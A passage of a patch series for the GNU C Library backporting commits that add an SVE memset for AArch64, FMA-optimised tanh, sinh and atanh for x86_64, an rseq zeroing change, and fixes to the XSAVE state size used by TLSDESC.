++	      IFUNC_IMPL_ADD (array, i, memset, sve && zva_size == 64, __memset_sve_zva64)
+ #endif
+ 	      IFUNC_IMPL_ADD (array, i, memset, mops, __memset_mops)
+ 	      IFUNC_IMPL_ADD (array, i, memset, 1, __memset_generic))
+diff --git a/sysdeps/aarch64/multiarch/memset.c b/sysdeps/aarch64/multiarch/memset.c
+index bd063c16c9..4f65295e77 100644
+--- a/sysdeps/aarch64/multiarch/memset.c
++++ b/sysdeps/aarch64/multiarch/memset.c
+@@ -36,6 +36,7 @@ extern __typeof (__redirect_memset) __memset_a64fx attribute_hidden;
+ extern __typeof (__redirect_memset) __memset_generic attribute_hidden;
+ extern __typeof (__redirect_memset) __memset_mops attribute_hidden;
+ extern __typeof (__redirect_memset) __memset_oryon1 attribute_hidden;
++extern __typeof (__redirect_memset) __memset_sve_zva64 attribute_hidden;
+ 
+ static inline __typeof (__redirect_memset) *
+ select_memset_ifunc (void)
+@@ -49,6 +50,9 @@ select_memset_ifunc (void)
+     {
+       if (IS_A64FX (midr) && zva_size == 256)
+ 	return __memset_a64fx;
++
++      if (zva_size == 64)
++	return __memset_sve_zva64;
+     }
+ 
+   if (IS_ORYON1 (midr) && zva_size == 64)
+diff --git a/sysdeps/aarch64/multiarch/memset_sve_zva64.S b/sysdeps/aarch64/multiarch/memset_sve_zva64.S
+new file mode 100644
+index 0000000000..7fb40fdd9e
+--- /dev/null
++++ b/sysdeps/aarch64/multiarch/memset_sve_zva64.S
+@@ -0,0 +1,123 @@
++/* Optimized memset for SVE.
++   Copyright (C) 2025 Free Software Foundation, Inc.
++
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library.  If not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <sysdep.h>
++
++/* Assumptions:
++ *
++ * ARMv8-a, AArch64, Advanced SIMD, SVE, unaligned accesses.
++ * ZVA size is 64.
++ */
++
++#if HAVE_AARCH64_SVE_ASM
++
++.arch armv8.2-a+sve
++
++#define dstin	x0
++#define val	x1
++#define valw	w1
++#define count	x2
++#define dst	x3
++#define dstend	x4
++#define zva_val	x5
++#define vlen	x5
++#define off	x3
++#define dstend2 x5
++
++ENTRY (__memset_sve_zva64)
++	dup	v0.16B, valw
++	cmp	count, 16
++	b.lo	L(set_16)
++
++	add	dstend, dstin, count
++	cmp	count, 64
++	b.hs	L(set_128)
++
++	/* Set 16..63 bytes.  */
++	mov	off, 16
++	and	off, off, count, lsr 1
++	sub	dstend2, dstend, off
++	str	q0, [dstin]
++	str	q0, [dstin, off]
++	str	q0, [dstend2, -16]
++	str	q0, [dstend, -16]
++	ret
++
++	.p2align 4
++L(set_16):
++	whilelo p0.b, xzr, count
++	st1b	z0.b, p0, [dstin]
++	ret
++
++	.p2align 4
++L(set_128):
++	bic	dst, dstin, 15
++	cmp	count, 128
++	b.hi	L(set_long)
++	stp	q0, q0, [dstin]
++	stp	q0, q0, [dstin, 32]
++	stp	q0, q0, [dstend, -64]
++	stp	q0, q0, [dstend, -32]
++	ret
++
++	.p2align 4
++L(set_long):
++	cmp	count, 256
++	b.lo	L(no_zva)
++	tst	valw, 255
++	b.ne	L(no_zva)
++
++	str	q0, [dstin]
++	str	q0, [dst, 16]
++	bic	dst, dstin, 31
++	stp	q0, q0, [dst, 32]
++	bic	dst, dstin, 63
++	sub	count, dstend, dst	/* Count is now 64 too large.  */
++	sub	count, count, 128	/* Adjust count and bias for loop.  */
++
++	sub	x8, dstend, 1		/* Write last bytes before ZVA loop.  */
++	bic	x8, x8, 15
++	stp	q0, q0, [x8, -48]
++	str	q0, [x8, -16]
++	str	q0, [dstend, -16]
++
++	.p2align 4
++L(zva64_loop):
++	add	dst, dst, 64
++	dc	zva, dst
++	subs	count, count, 64
++	b.hi	L(zva64_loop)
++	ret
++
++L(no_zva):
++	str	q0, [dstin]
++	sub	count, dstend, dst	/* Count is 16 too large.  */
++	sub	count, count, 64 + 16	/* Adjust count and bias for loop.  */
++L(no_zva_loop):
++	stp	q0, q0, [dst, 16]
++	stp	q0, q0, [dst, 48]
++	add	dst, dst, 64
++	subs	count, count, 64
++	b.hi	L(no_zva_loop)
++	stp	q0, q0, [dstend, -64]
++	stp	q0, q0, [dstend, -32]
++	ret
++
++END (__memset_sve_zva64)
++#endif
+
+commit d6175a44e95fe443d0fbfed37a9ff7424f1e2661
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Thu Feb 27 16:28:52 2025 +0000
+
+    AArch64: Use prefer_sve_ifuncs for SVE memset
+    
+    Use prefer_sve_ifuncs for SVE memset just like memcpy.
+    
+    Reviewed-by: Yury Khrustalev <yury.khrustalev@arm.com>
+    (cherry picked from commit 0f044be1dae5169d0e57f8d487b427863aeadab4)
+
+diff --git a/sysdeps/aarch64/multiarch/memset.c b/sysdeps/aarch64/multiarch/memset.c
+index 4f65295e77..bb1e865c97 100644
+--- a/sysdeps/aarch64/multiarch/memset.c
++++ b/sysdeps/aarch64/multiarch/memset.c
+@@ -51,7 +51,7 @@ select_memset_ifunc (void)
+       if (IS_A64FX (midr) && zva_size == 256)
+ 	return __memset_a64fx;
+ 
+-      if (zva_size == 64)
++      if (prefer_sve_ifuncs && zva_size == 64)
+ 	return __memset_sve_zva64;
+     }
+ 
+
+commit d8e8342369831808b00324790c8809ba33408ee7
+Author: Wilco Dijkstra <wilco.dijkstra@arm.com>
+Date:   Fri Dec 13 15:43:07 2024 +0000
+
+    math: Improve layout of exp/exp10 data
+    
+    GCC aligns global data to 16 bytes if their size is >= 16 bytes.  This patch
+    changes the exp_data struct slightly so that the fields are better aligned
+    and without gaps.  As a result on targets that support them, more load-pair
+    instructions are used in exp.  Exp10 is improved by moving invlog10_2N later
+    so that neglog10_2hiN and neglog10_2loN can be loaded using load-pair.
+    
+    The exp benchmark improves 2.5%, "144bits" by 7.2%, "768bits" by 12.7% on
+    Neoverse V2.  Exp10 improves by 1.5%.
+    
+    Reviewed-by: Adhemerval Zanella  <adhemerval.zanella@linaro.org>
+    (cherry picked from commit 5afaf99edb326fd9f36eb306a828d129a3a1d7f7)
+
+diff --git a/sysdeps/ieee754/dbl-64/math_config.h b/sysdeps/ieee754/dbl-64/math_config.h
+index ef87cfa6be..05515fd95a 100644
+--- a/sysdeps/ieee754/dbl-64/math_config.h
++++ b/sysdeps/ieee754/dbl-64/math_config.h
+@@ -195,16 +195,18 @@ check_uflow (double x)
+ extern const struct exp_data
+ {
+   double invln2N;
+-  double shift;
+   double negln2hiN;
+   double negln2loN;
+   double poly[4]; /* Last four coefficients.  */
++  double shift;
++
+   double exp2_shift;
+   double exp2_poly[EXP2_POLY_ORDER];
+-  double invlog10_2N;
++
+   double neglog10_2hiN;
+   double neglog10_2loN;
+   double exp10_poly[5];
++  double invlog10_2N;
+   uint64_t tab[2*(1 << EXP_TABLE_BITS)];
+ } __exp_data attribute_hidden;
+ 
+
+commit 3e820e17a8cef84645d83b67abcbc3f88c7fd268
+Author: Michael Jeanson <mjeanson@efficios.com>
+Date:   Fri Feb 14 13:54:22 2025 -0500
+
+    nptl: clear the whole rseq area before registration
+    
+    Due to the extensible nature of the rseq area we can't explictly
+    initialize fields that are not part of the ABI yet. It was agreed with
+    upstream that all new fields will be documented as zero initialized by
+    userspace. Future kernels configured with CONFIG_DEBUG_RSEQ will
+    validate the content of all fields during registration.
+    
+    Replace the explicit field initialization with a memset of the whole
+    rseq area which will cover fields as they are added to future kernels.
+    
+    Signed-off-by: Michael Jeanson <mjeanson@efficios.com>
+    Reviewed-by: Florian Weimer <fweimer@redhat.com>
+    (cherry picked from commit 689a62a4217fae78b9ce0db781dc2a421f2b1ab4)
+
+diff --git a/sysdeps/nptl/dl-tls_init_tp.c b/sysdeps/nptl/dl-tls_init_tp.c
+index 7803e19fd1..ed10185e37 100644
+--- a/sysdeps/nptl/dl-tls_init_tp.c
++++ b/sysdeps/nptl/dl-tls_init_tp.c
+@@ -23,6 +23,7 @@
+ #include <tls.h>
+ #include <rseq-internal.h>
+ #include <thread_pointer.h>
++#include <dl-symbol-redir-ifunc.h>
+ 
+ #define TUNABLE_NAMESPACE pthread
+ #include <dl-tunables.h>
+diff --git a/sysdeps/unix/sysv/linux/rseq-internal.h b/sysdeps/unix/sysv/linux/rseq-internal.h
+index ef3eab1fef..76de2b7ff0 100644
+--- a/sysdeps/unix/sysv/linux/rseq-internal.h
++++ b/sysdeps/unix/sysv/linux/rseq-internal.h
+@@ -52,13 +52,12 @@ rseq_register_current_thread (struct pthread *self, bool do_rseq)
+            but still expected size 32.  */
+         size = RSEQ_AREA_SIZE_INITIAL;
+ 
+-      /* Initialize the rseq fields that are read by the kernel on
+-         registration, there is no guarantee that struct pthread is
+-         cleared on all architectures.  */
++      /* Initialize the whole rseq area to zero prior to registration.  */
++      memset (&self->rseq_area, 0, size);
++
++      /* Set the cpu_id field to RSEQ_CPU_ID_UNINITIALIZED, this is checked by
++         the kernel at registration when CONFIG_DEBUG_RSEQ is enabled.  */
+       THREAD_SETMEM (self, rseq_area.cpu_id, RSEQ_CPU_ID_UNINITIALIZED);
+-      THREAD_SETMEM (self, rseq_area.cpu_id_start, 0);
+-      THREAD_SETMEM (self, rseq_area.rseq_cs, 0);
+-      THREAD_SETMEM (self, rseq_area.flags, 0);
+ 
+       int ret = INTERNAL_SYSCALL_CALL (rseq, &self->rseq_area,
+                                        size, 0, RSEQ_SIG);
+
+commit ee1ab9302363066b49cf8862b96664ed35eda81c
+Author: Sunil K Pandey <skpgkp2@gmail.com>
+Date:   Mon Mar 10 10:24:07 2025 -0700
+
+    x86_64: Add tanh with FMA
+    
+    On Skylake, it improves tanh bench performance by:
+    
+            Before          After           Improvement
+    max     110.89          95.826          14%
+    min     20.966          20.157          4%
+    mean    30.9601         29.8431         4%
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit c6352111c72a20b3588ae304dd99b63e25dd6d85)
+
+diff --git a/sysdeps/ieee754/dbl-64/s_tanh.c b/sysdeps/ieee754/dbl-64/s_tanh.c
+index 673a97102d..13063db04e 100644
+--- a/sysdeps/ieee754/dbl-64/s_tanh.c
++++ b/sysdeps/ieee754/dbl-64/s_tanh.c
+@@ -46,6 +46,11 @@ static char rcsid[] = "$NetBSD: s_tanh.c,v 1.7 1995/05/10 20:48:22 jtc Exp $";
+ 
+ static const double one = 1.0, two = 2.0, tiny = 1.0e-300;
+ 
++#ifndef SECTION
++# define SECTION
++#endif
++
++SECTION
+ double
+ __tanh (double x)
+ {
+diff --git a/sysdeps/x86_64/fpu/multiarch/Makefile b/sysdeps/x86_64/fpu/multiarch/Makefile
+index cbe09d49f4..0f69f7089c 100644
+--- a/sysdeps/x86_64/fpu/multiarch/Makefile
++++ b/sysdeps/x86_64/fpu/multiarch/Makefile
+@@ -10,6 +10,7 @@ CFLAGS-s_expm1-fma.c = -mfma -mavx2
+ CFLAGS-s_log1p-fma.c = -mfma -mavx2
+ CFLAGS-s_sin-fma.c = -mfma -mavx2
+ CFLAGS-s_tan-fma.c = -mfma -mavx2
++CFLAGS-s_tanh-fma.c = -mfma -mavx2
+ CFLAGS-s_sincos-fma.c = -mfma -mavx2
+ 
+ CFLAGS-e_exp2f-fma.c = -mfma -mavx2
+@@ -92,6 +93,7 @@ libm-sysdep_routines += \
+   s_sinf-sse2 \
+   s_tan-avx \
+   s_tan-fma \
++  s_tanh-fma \
+   s_trunc-sse4_1 \
+   s_truncf-sse4_1 \
+ # libm-sysdep_routines
+diff --git a/sysdeps/x86_64/fpu/multiarch/s_tanh-fma.c b/sysdeps/x86_64/fpu/multiarch/s_tanh-fma.c
+new file mode 100644
+index 0000000000..1b808b1227
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/s_tanh-fma.c
+@@ -0,0 +1,11 @@
++#define __tanh __tanh_fma
++#define __expm1 __expm1_fma
++
++/* NB: __expm1 may be expanded to __expm1_fma in the following
++   prototypes.  */
++extern long double __expm1l (long double);
++extern long double __expm1f128 (long double);
++
++#define SECTION __attribute__ ((section (".text.fma")))
++
++#include <sysdeps/ieee754/dbl-64/s_tanh.c>
+diff --git a/sysdeps/x86_64/fpu/multiarch/s_tanh.c b/sysdeps/x86_64/fpu/multiarch/s_tanh.c
+new file mode 100644
+index 0000000000..5539b6c61c
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/s_tanh.c
+@@ -0,0 +1,31 @@
++/* Multiple versions of tanh.
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <sysdeps/x86/isa-level.h>
++#if MINIMUM_X86_ISA_LEVEL < AVX2_X86_ISA_LEVEL
++
++extern double __redirect_tanh (double);
++
++# define SYMBOL_NAME tanh
++# include "ifunc-fma.h"
++
++libc_ifunc_redirected (__redirect_tanh, __tanh, IFUNC_SELECTOR ());
++
++# define __tanh __tanh_sse2
++#endif
++#include <sysdeps/ieee754/dbl-64/s_tanh.c>
+
+commit e854f6d37cbeabb9130fed74b587befad8b4ba08
+Author: Sunil K Pandey <skpgkp2@gmail.com>
+Date:   Sat Mar 8 08:51:10 2025 -0800
+
+    x86_64: Add sinh with FMA
+    
+    On SPR, it improves sinh bench performance by:
+    
+                            Before          After           Improvement
+    reciprocal-throughput   14.2017         11.815          17%
+    latency                 36.4917         35.2114         4%
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit dded0d20f67ba1925ccbcb9cf28f0c75febe0dbe)
+
+diff --git a/benchtests/sinh-inputs b/benchtests/sinh-inputs
+index 7b1ac46a39..2fcb2fabf8 100644
+--- a/benchtests/sinh-inputs
++++ b/benchtests/sinh-inputs
+@@ -1,6 +1,7 @@
+ ## args: double
+ ## ret: double
+ ## includes: math.h
++## name: workload-random
+ 0x1.bcb6129b5ff2bp8
+ -0x1.63057386325ebp9
+ 0x1.62f1d7dc4e8bfp9
+diff --git a/sysdeps/ieee754/dbl-64/e_sinh.c b/sysdeps/ieee754/dbl-64/e_sinh.c
+index b4b5857ddd..3f787967f9 100644
+--- a/sysdeps/ieee754/dbl-64/e_sinh.c
++++ b/sysdeps/ieee754/dbl-64/e_sinh.c
+@@ -41,6 +41,11 @@ static char rcsid[] = "$NetBSD: e_sinh.c,v 1.7 1995/05/10 20:46:13 jtc Exp $";
+ 
+ static const double one = 1.0, shuge = 1.0e307;
+ 
++#ifndef SECTION
++# define SECTION
++#endif
++
++SECTION
+ double
+ __ieee754_sinh (double x)
+ {
+@@ -90,4 +95,7 @@ __ieee754_sinh (double x)
+   /* |x| > overflowthresold, sinh(x) overflow */
+   return math_narrow_eval (x * shuge);
+ }
++
++#ifndef __ieee754_sinh
+ libm_alias_finite (__ieee754_sinh, __sinh)
++#endif
+diff --git a/sysdeps/x86_64/fpu/multiarch/Makefile b/sysdeps/x86_64/fpu/multiarch/Makefile
+index 0f69f7089c..b527cab8d1 100644
+--- a/sysdeps/x86_64/fpu/multiarch/Makefile
++++ b/sysdeps/x86_64/fpu/multiarch/Makefile
+@@ -5,6 +5,7 @@ CFLAGS-e_exp-fma.c = -mfma -mavx2
+ CFLAGS-e_log-fma.c = -mfma -mavx2
+ CFLAGS-e_log2-fma.c = -mfma -mavx2
+ CFLAGS-e_pow-fma.c = -mfma -mavx2
++CFLAGS-e_sinh-fma.c = -mfma -mavx2
+ CFLAGS-s_atan-fma.c = -mfma -mavx2
+ CFLAGS-s_expm1-fma.c = -mfma -mavx2
+ CFLAGS-s_log1p-fma.c = -mfma -mavx2
+@@ -67,6 +68,7 @@ libm-sysdep_routines += \
+   e_logf-fma \
+   e_pow-fma \
+   e_powf-fma \
++  e_sinh-fma \
+   s_atan-avx \
+   s_atan-fma \
+   s_ceil-sse4_1 \
+diff --git a/sysdeps/x86_64/fpu/multiarch/e_sinh-fma.c b/sysdeps/x86_64/fpu/multiarch/e_sinh-fma.c
+new file mode 100644
+index 0000000000..e0e1e39a7a
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/e_sinh-fma.c
+@@ -0,0 +1,12 @@
++#define __ieee754_sinh __ieee754_sinh_fma
++#define __ieee754_exp __ieee754_exp_fma
++#define __expm1 __expm1_fma
++
++/* NB: __expm1 may be expanded to __expm1_fma in the following
++   prototypes.  */
++extern long double __expm1l (long double);
++extern long double __expm1f128 (long double);
++
++#define SECTION __attribute__ ((section (".text.fma")))
++
++#include <sysdeps/ieee754/dbl-64/e_sinh.c>
+diff --git a/sysdeps/x86_64/fpu/multiarch/e_sinh.c b/sysdeps/x86_64/fpu/multiarch/e_sinh.c
+new file mode 100644
+index 0000000000..3d3c18ccdf
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/e_sinh.c
+@@ -0,0 +1,35 @@
++/* Multiple versions of sinh.
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <sysdeps/x86/isa-level.h>
++#if MINIMUM_X86_ISA_LEVEL < AVX2_X86_ISA_LEVEL
++# include <libm-alias-finite.h>
++
++extern double __redirect_ieee754_sinh (double);
++
++# define SYMBOL_NAME ieee754_sinh
++# include "ifunc-fma.h"
++
++libc_ifunc_redirected (__redirect_ieee754_sinh, __ieee754_sinh,
++		       IFUNC_SELECTOR ());
++
++libm_alias_finite (__ieee754_sinh, __sinh)
++
++# define __ieee754_sinh __ieee754_sinh_sse2
++#endif
++#include <sysdeps/ieee754/dbl-64/e_sinh.c>
+
+commit e5f5dfdda28def8362896bdb1748bb27dfc8be73
+Author: Sunil K Pandey <skpgkp2@gmail.com>
+Date:   Wed Mar 5 16:13:38 2025 -0800
+
+    x86_64: Add atanh with FMA
+    
+    On SPR, it improves atanh bench performance by:
+    
+                            Before          After           Improvement
+    reciprocal-throughput   15.1715         14.8628         2%
+    latency                 57.1941         56.1883         2%
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit c7c4a5906f326f1290b1c2413a83c530564ec4b8)
+
+diff --git a/benchtests/atanh-inputs b/benchtests/atanh-inputs
+index 455aa65b65..4985293254 100644
+--- a/benchtests/atanh-inputs
++++ b/benchtests/atanh-inputs
+@@ -1,6 +1,7 @@
+ ## args: double
+ ## ret: double
+ ## includes: math.h
++## name: workload-random
+ 0x1.5a2730bacd94ap-1
+ -0x1.b57eb40fc048ep-21
+ -0x1.c0b185fb450e2p-17
+diff --git a/sysdeps/ieee754/dbl-64/e_atanh.c b/sysdeps/ieee754/dbl-64/e_atanh.c
+index 11a2a45799..05ac0a1b30 100644
+--- a/sysdeps/ieee754/dbl-64/e_atanh.c
++++ b/sysdeps/ieee754/dbl-64/e_atanh.c
+@@ -44,6 +44,11 @@
+ 
+ static const double huge = 1e300;
+ 
++#ifndef SECTION
++# define SECTION
++#endif
++
++SECTION
+ double
+ __ieee754_atanh (double x)
+ {
+@@ -73,4 +78,7 @@ __ieee754_atanh (double x)
+ 
+   return copysign (t, x);
+ }
++
++#ifndef __ieee754_atanh
+ libm_alias_finite (__ieee754_atanh, __atanh)
++#endif
+diff --git a/sysdeps/x86_64/fpu/multiarch/Makefile b/sysdeps/x86_64/fpu/multiarch/Makefile
+index b527cab8d1..bc479b42d2 100644
+--- a/sysdeps/x86_64/fpu/multiarch/Makefile
++++ b/sysdeps/x86_64/fpu/multiarch/Makefile
+@@ -1,6 +1,7 @@
+ ifeq ($(subdir),math)
+ CFLAGS-e_asin-fma.c = -mfma -mavx2
+ CFLAGS-e_atan2-fma.c = -mfma -mavx2
++CFLAGS-e_atanh-fma.c = -mfma -mavx2
+ CFLAGS-e_exp-fma.c = -mfma -mavx2
+ CFLAGS-e_log-fma.c = -mfma -mavx2
+ CFLAGS-e_log2-fma.c = -mfma -mavx2
+@@ -57,6 +58,7 @@ libm-sysdep_routines += \
+   e_asin-fma \
+   e_atan2-avx \
+   e_atan2-fma \
++  e_atanh-fma \
+   e_exp-avx \
+   e_exp-fma \
+   e_exp2f-fma \
+diff --git a/sysdeps/x86_64/fpu/multiarch/e_atanh-fma.c b/sysdeps/x86_64/fpu/multiarch/e_atanh-fma.c
+new file mode 100644
+index 0000000000..c3f2f9e550
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/e_atanh-fma.c
+@@ -0,0 +1,6 @@
++#define __ieee754_atanh __ieee754_atanh_fma
++#define __log1p __log1p_fma
++
++#define SECTION __attribute__ ((section (".text.fma")))
++
++#include <sysdeps/ieee754/dbl-64/e_atanh.c>
+diff --git a/sysdeps/x86_64/fpu/multiarch/e_atanh.c b/sysdeps/x86_64/fpu/multiarch/e_atanh.c
+new file mode 100644
+index 0000000000..d2b785dfc0
+--- /dev/null
++++ b/sysdeps/x86_64/fpu/multiarch/e_atanh.c
+@@ -0,0 +1,34 @@
++/* Multiple versions of atanh.
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <sysdeps/x86/isa-level.h>
++#if MINIMUM_X86_ISA_LEVEL < AVX2_X86_ISA_LEVEL
++# include <libm-alias-finite.h>
++
++extern double __redirect_ieee754_atanh (double);
++
++# define SYMBOL_NAME ieee754_atanh
++# include "ifunc-fma.h"
++
++libc_ifunc_redirected (__redirect_ieee754_atanh, __ieee754_atanh, IFUNC_SELECTOR ());
++
++libm_alias_finite (__ieee754_atanh, __atanh)
++
++# define __ieee754_atanh __ieee754_atanh_sse2
++#endif
++#include <sysdeps/ieee754/dbl-64/e_atanh.c>
+
+commit 8fc492bb4234edc1a5e8c3b7f76ba345ea7109ec
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Fri Mar 28 09:26:06 2025 +0100
+
+    x86: Skip XSAVE state size reset if ISA level requires XSAVE
+    
+    If we have to use XSAVE or XSAVEC trampolines, do not adjust the size
+    information they need.  Technically, it is an operator error to try to
+    run with -XSAVE,-XSAVEC on such builds, but this change here disables
+    some unnecessary code with higher ISA levels and simplifies testing.
+    
+    Related to commit befe2d3c4dec8be2cdd01a47132e47bdb7020922
+    ("x86-64: Don't use SSE resolvers for ISA level 3 or above").
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit 59585ddaa2d44f22af04bb4b8bd4ad1e302c4c02)
+
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index c096dd390a..b5b264db7f 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -24,6 +24,7 @@
+ #include <dl-cacheinfo.h>
+ #include <dl-minsigstacksize.h>
+ #include <dl-hwcap2.h>
++#include <gcc-macros.h>
+ 
+ extern void TUNABLE_CALLBACK (set_hwcaps) (tunable_val_t *)
+   attribute_hidden;
+@@ -1119,6 +1120,9 @@ no_cpuid:
+ 	       TUNABLE_CALLBACK (set_prefer_map_32bit_exec));
+ #endif
+ 
++  /* Do not add the logic to disable XSAVE/XSAVEC if this glibc build
++     requires AVX and therefore XSAVE or XSAVEC support.  */
++#ifndef GCCMACRO__AVX__
+   bool disable_xsave_features = false;
+ 
+   if (!CPU_FEATURE_USABLE_P (cpu_features, OSXSAVE))
+@@ -1172,6 +1176,7 @@ no_cpuid:
+ 
+       CPU_FEATURE_UNSET (cpu_features, FMA4);
+     }
++#endif
+ 
+ #ifdef __x86_64__
+   GLRO(dl_hwcap) = HWCAP_X86_64;
+
+commit df22af58f66e6815c054b1c56249356c2994935a
+Author: Florian Weimer <fweimer@redhat.com>
+Date:   Fri Mar 28 09:26:59 2025 +0100
+
+    x86: Use separate variable for TLSDESC XSAVE/XSAVEC state size (bug 32810)
+    
+    Previously, the initialization code reused the xsave_state_full_size
+    member of struct cpu_features for the TLSDESC state size.  However,
+    the tunable processing code assumes that this member has the
+    original XSAVE (non-compact) state size, so that it can use its
+    value if XSAVEC is disabled via tunable.
+    
+    This change uses a separate variable and not a struct member because
+    the value is only needed in ld.so and the static libc, but not in
+    libc.so.  As a result, struct cpu_features layout does not change,
+    helping a future backport of this change.
+    
+    Fixes commit 9b7091415af47082664717210ac49d51551456ab ("x86-64:
+    Update _dl_tlsdesc_dynamic to preserve AMX registers").
+    
+    Reviewed-by: H.J. Lu <hjl.tools@gmail.com>
+    (cherry picked from commit 145097dff170507fe73190e8e41194f5b5f7e6bf)
+
+diff --git a/NEWS b/NEWS
+index 57feba81cd..7a6985f5dd 100644
+--- a/NEWS
++++ b/NEWS
+@@ -22,6 +22,7 @@ The following bugs are resolved with this release:
+   [32231] elf: Change ldconfig auxcache magic number
+   [32245] glibc -Wstringop-overflow= build failure on hppa
+   [32470] x86: Avoid integer truncation with large cache sizes
++  [32810] Crash on x86-64 if XSAVEC disable via tunable
+ 
+ Version 2.40
+ 
+diff --git a/sysdeps/x86/Makefile b/sysdeps/x86/Makefile
+index 5311b594af..8819fba1b7 100644
+--- a/sysdeps/x86/Makefile
++++ b/sysdeps/x86/Makefile
+@@ -21,6 +21,9 @@ tests += \
+   tst-cpu-features-supports-static \
+   tst-get-cpu-features \
+   tst-get-cpu-features-static \
++  tst-gnu2-tls2-x86-noxsave \
++  tst-gnu2-tls2-x86-noxsavec \
++  tst-gnu2-tls2-x86-noxsavexsavec \
+   tst-hwcap-tunables \
+ # tests
+ tests-static += \
+@@ -91,6 +94,22 @@ CFLAGS-tst-gnu2-tls2.c += -msse
+ CFLAGS-tst-gnu2-tls2mod0.c += -msse2 -mtune=haswell
+ CFLAGS-tst-gnu2-tls2mod1.c += -msse2 -mtune=haswell
+ CFLAGS-tst-gnu2-tls2mod2.c += -msse2 -mtune=haswell
++
++LDFLAGS-tst-gnu2-tls2-x86-noxsave += -Wl,-z,lazy
++LDFLAGS-tst-gnu2-tls2-x86-noxsavec += -Wl,-z,lazy
++LDFLAGS-tst-gnu2-tls2-x86-noxsavexsavec += -Wl,-z,lazy
++
++# Test for bug 32810: incorrect XSAVE state size if XSAVEC is disabled
++# via tunable.
++tst-gnu2-tls2-x86-noxsave-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVE
++tst-gnu2-tls2-x86-noxsavec-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVEC
++tst-gnu2-tls2-x86-noxsavexsavec-ENV = GLIBC_TUNABLES=glibc.cpu.hwcaps=-XSAVE,-XSAVEC
++$(objpfx)tst-gnu2-tls2-x86-noxsave.out \
++$(objpfx)tst-gnu2-tls2-x86-noxsavec.out \
++$(objpfx)tst-gnu2-tls2-x86-noxsavexsavec.out: \
++  $(objpfx)tst-gnu2-tls2mod0.so \
++  $(objpfx)tst-gnu2-tls2mod1.so \
++  $(objpfx)tst-gnu2-tls2mod2.so
+ endif
+ 
+ ifeq ($(subdir),math)
+diff --git a/sysdeps/x86/cpu-features.c b/sysdeps/x86/cpu-features.c
+index b5b264db7f..ec27337337 100644
+--- a/sysdeps/x86/cpu-features.c
++++ b/sysdeps/x86/cpu-features.c
+@@ -84,6 +84,8 @@ extern void TUNABLE_CALLBACK (set_x86_shstk) (tunable_val_t *)
+ # include <dl-cet.h>
+ #endif
+ 
++unsigned long int _dl_x86_features_tlsdesc_state_size;
++
+ static void
+ update_active (struct cpu_features *cpu_features)
+ {
+@@ -318,6 +320,7 @@ update_active (struct cpu_features *cpu_features)
+ 		= xsave_state_full_size;
+ 	      cpu_features->xsave_state_full_size
+ 		= xsave_state_full_size;
++	      _dl_x86_features_tlsdesc_state_size = xsave_state_full_size;
+ 
+ 	      /* Check if XSAVEC is available.  */
+ 	      if (CPU_FEATURES_CPU_P (cpu_features, XSAVEC))
+@@ -406,11 +409,9 @@ update_active (struct cpu_features *cpu_features)
+ 			= ALIGN_UP ((amx_size
+ 				     + TLSDESC_CALL_REGISTER_SAVE_AREA),
+ 				    64);
